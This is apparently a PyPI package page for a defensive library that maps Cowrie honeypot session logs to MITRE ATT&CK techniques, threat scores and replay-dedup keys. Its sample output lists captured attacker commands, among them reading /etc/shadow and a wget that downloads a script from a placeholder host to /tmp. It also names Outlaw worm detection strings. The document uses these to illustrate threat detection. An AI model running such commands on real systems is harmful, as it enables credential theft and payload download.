Skip to main content

Honeypot → MITRE

Turn raw Cowrie SSH/Telnet honeypot logs into structured MITRE ATT&CK mappings, a threat score, and a replay-dedup key — with zero infrastructure.

The problem it solves

A busy honeypot produces a firehose of JSON events. What you usually want out the other end is simple: for each session, what did the attacker do, how dangerous was it, and is this just the same worm hitting me from 500 different IPs? This library answers exactly that, deterministically, from the raw logs:

  • structured ATT&CK — each command mapped to MITRE tactics/techniques;
  • a score — a single 0–100 deterministic threat number per session;
  • replay dedup — an order-independent signature that collapses the same payload arriving from a botnet's worth of IPs into one incident.

No database, no Redis, no message queue, no web framework, no LLM required. The default path is pure Python standard library.

Install

pip install .
# optional LLM enrichment (not required for anything below):
pip install ".[llm]"

Requires Python ≥ 3.10.

Quickstart

from honeypot_mitre import parse_sessions, analyze_session

for session in parse_sessions("cowrie.json"):
    record = analyze_session(session)
    print(record["session_id"], record["score"], record["techniques"])

Or call the building blocks directly:

from honeypot_mitre import map_techniques, score_session, classify_actor, dedup_key

cmds = ["uname -a", "whoami", "cat /etc/shadow"]
map_techniques(cmds)          # -> {'dominant_stage': 'credential_access', 'techniques_used': [...], ...}
score_session(cmds)           # -> int 0..100
classify_actor(cmds, duration=3.0)   # -> {'actor_label': 'botnet_node', ...}
dedup_key(cmds)               # -> 16-char order-independent signature

See examples/quickstart.py and examples/sample_cowrie.json.

CLI

python -m honeypot_mitre examples/sample_cowrie.json
# or pipe from stdin:
cat cowrie.json | python -m honeypot_mitre -
# installed console script:
honeypot-mitre examples/sample_cowrie.json --pretty --min-score 50

Emits one JSON record per session:

{
  "session_id": "a1b2c3d4",
  "src_ip": "203.0.113.10",
  "commands": ["uname -a", "whoami", "cat /etc/shadow", "wget http://example.invalid/x.sh -O /tmp/x.sh"],
  "techniques": ["T1016", "T1033", "T1057", "T1082", "T1592", "T1595"],
  "dominant_stage": "reconnaissance",
  "progression": ["reconnaissance"],
  "confidence": 0.85,
  "score": 31,
  "actor_label": "automated_scanner",
  "campaign_indicators": [],
  "dedup_key": "905830e685fbbb20"
}

How it works

Honeypot → MITRE pipeline

One Cowrie session, end to end: raw JSON events are parsed into a session, mapped to MITRE ATT&CK, scored, actor-classified, and reduced to an order-independent replay-dedup key — all deterministically, from the standard library alone. The values shown are the real output of examples/sample_cowrie.json.

Mapping (map_techniques)

Each command line is lower-cased and tested against a hand-curated table of substrings, one per kill-chain stage (reconnaissance, persistence, privilege_escalation, defense_evasion, credential_access, lateral_movement, collection, exfiltration, command_and_control, impact). The first matching stage wins; its techniques are accumulated. The dominant stage is the most-recently reached known stage in the session.

Scoring (score_session)

A single deterministic formula, capped at 100:

score = base_for_stage + (commands * 2) + (distinct_techniques * 3)

base_for_stage is the per-stage base for the dominant stage:

stage base stage base
impact 40 lateral_movement 20
exfiltration 35 defense_evasion 15
credential_access 30 persistence 15
command_and_control 30 collection 10
privilege_escalation 25 reconnaissance 5

Unknown / unmatched stage defaults to a base of 5.

Actor overrides (classify_actor)

A coarse volume-based guess (human_operator if >5 commands, else automated_scanner) is corrected by two deterministic rules. These change the label only, never the score:

  1. Outlaw / Dota worm — a session whose commands contain both mdrfckr and authorized_keys is tagged botnet_node + outlaw_mdrfckr_worm.
  2. Sub-15s scripted session — if it ran ≥1 command and opened-and-closed in under 15 seconds, any human_operator guess is demoted to botnet_node.

Dedup (dedup_key, InMemoryDedupStore)

The dedup key is sha256("\n".join(sorted(commands)))[:16] — order-independent, so the same payload in any sequence collapses to the same key. InMemoryDedupStore groups every source IP under a signature and reports the first occurrence within a 15-minute TTL window as the one alert to fire; later identical payloads are suppressed. A RedisDedupStore adapter is provided for cross-process sharing (the Redis client is injected — nothing connects on import).

Optional LLM enrichment

The deterministic path needs no LLM. If you want extra narrative enrichment, install the [llm] extra and pass an Analyzer:

from honeypot_mitre import analyze_session, AnthropicAnalyzer

record = analyze_session(session, analyzer=AnthropicAnalyzer(api_key="..."))
record["llm"]  # free-form model output, never affects the deterministic score

You supply your own key; this package embeds none.

Honesty caveats

This is a rules engine, not a classifier. Be clear-eyed about what that means:

  • Substring matching is crude. Mapping is literal case-insensitive substring containment, so it both over-matches (cat matches cat /etc/shadow and benign cat README) and under-matches anything obfuscated, base64-piped, or renamed.
  • Confidence is hardcoded, not learned. Every match carries a fixed 0.85 confidence — it is a label, not a calibrated probability. There is no training data and no model behind the deterministic path.
  • The score is heuristic. The weights are reasonable defaults, not validated against a ground-truth corpus. Treat it as a triage signal, not a verdict.
  • Actor labels are coarse. Two timing/signature heuristics catch common cases; they will misclassify clever or unusual sessions.

It is genuinely useful for triage, dashboards, and replay collapsing — just don't mistake it for ML.

License

MIT — see LICENSE. Copyright (c) 2026 niffy_hunt.


Part of the WraithWall project — https://wraithwall.online · by niffy_hunt

Metadata

Release files for honeypot-mitre 0.1.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for honeypot-mitre 0.1.0
File Size Uploaded Provenance Actions
honeypot_mitre-0.1.0.tar.gz 229.8 kB Without provenance Details for honeypot_mitre-0.1.0.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for honeypot-mitre 0.1.0
File Interpreter ABI Platform Actions
honeypot_mitre-0.1.0-py3-none-any.whl Python 3 none any Details for honeypot_mitre-0.1.0-py3-none-any.whl

Total release size: 250.9 kB

Release files / honeypot_mitre-0.1.0.tar.gz

Download URL honeypot_mitre-0.1.0.tar.gz
Size 229.8 kB
Tags Source
SHA-256 checksum
How to use checksums
bdc7d2cba077a7319ff5c29b2bc6a530a67f96fa1eff5dcd76b8dc46635cd695
BLAKE2b-256 checksum
How to use checksums
e26f2ae66108374a7040c152e4c8ccecb801631d70953daf47c7aa75438468be
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.2.0 CPython/3.12.3

Release files / honeypot_mitre-0.1.0-py3-none-any.whl

Download URL honeypot_mitre-0.1.0-py3-none-any.whl
Size 21.1 kB
Tags Python 3
SHA-256 checksum
How to use checksums
e23daab88c02c8fa85cba3545ab4028e988ee27b94e8d8afffcabdf16dec4f72
BLAKE2b-256 checksum
How to use checksums
583f5a77618c87cecf1e92ae1c9ac6c27f7a98e980784f077fa1a0b8cfab9bfa
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.2.0 CPython/3.12.3

Security for honeypot-mitre 0.1.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

0.1.0 This release

2 release files No provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page